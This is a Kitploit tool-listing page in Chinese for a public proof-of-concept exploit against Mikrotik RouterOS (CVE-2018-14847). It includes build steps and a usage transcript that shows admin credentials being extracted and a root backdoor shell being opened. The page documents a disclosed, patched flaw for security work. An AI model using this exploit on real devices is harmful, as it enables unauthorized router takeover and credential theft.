Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
routeros-CVE-2018-14847-bytheway — By the Way 是一个漏洞利用程序,能够在运行 RouterOS 版本的 Mikrotik 设备上获取 root shell: | Kitploit
工具/GitHubGitHub/babyshen/routeros-cve-2018-14847-bytheway
嵌入式系统安全物联网安全密码攻击漏洞分析漏洞利用渗透测试
GitHubbabyshen/routeros-cve-2018-14847-bytheway

routeros-CVE-2018-14847-bytheway

By the Way 是一个漏洞利用程序,能够在运行 RouterOS 版本的 Mikrotik 设备上获取 root shell:

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
4263年前尚未审核

By the Way

By the Way 是一个漏洞利用工具,可以在运行 RouterOS 版本的 Mikrotik 设备上获取 root shell:

  • Longterm: 6.30.1 - 6.40.7
  • Stable: 6.29 - 6.42.0
  • Beta: 6.29rc1 - 6.43rc3

该漏洞利用利用了路径遍历漏洞 CVE-2018-14847,提取管理员密码并创建一个“option”包以启用开发者后门。利用之后,攻击者可以使用 root 用户“devel”和管理员密码连接到 Telnet 或 SSH。

Mikrotik 在四月份修复了 CVE-2018-14847。然而,在编写此 PoC 之前,我认为尚未公开披露该攻击可用于写入文件。您可以在此处找到 Mikrotik 的安全公告:

  • https://blog.mikrotik.com/security/winbox-vulnerability.html

请注意,虽然此漏洞利用是针对 Winbox 编写的,但如果您事先知道管理员凭据,也可以移植到 HTTP。

依赖项

此 PoC 依赖于:

  • Boost 1.66
  • pthread
  • cmake

构建说明

root@kitploit:~
mkdir build
cd build
cmake ..
make

使用示例

root@kitploit:~
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password: 
Login failed, incorrect username or password

Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251

   ╔╗ ┬ ┬  ┌┬┐┬ ┬┌─┐  ╦ ╦┌─┐┬ ┬
   ╠╩╗└┬┘   │ ├─┤├┤   ║║║├─┤└┬┘
   ╚═╝ ┴    ┴ ┴ ┴└─┘  ╚╩╝┴ ┴ ┴ 

[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials 
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password: 


BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.
下载工具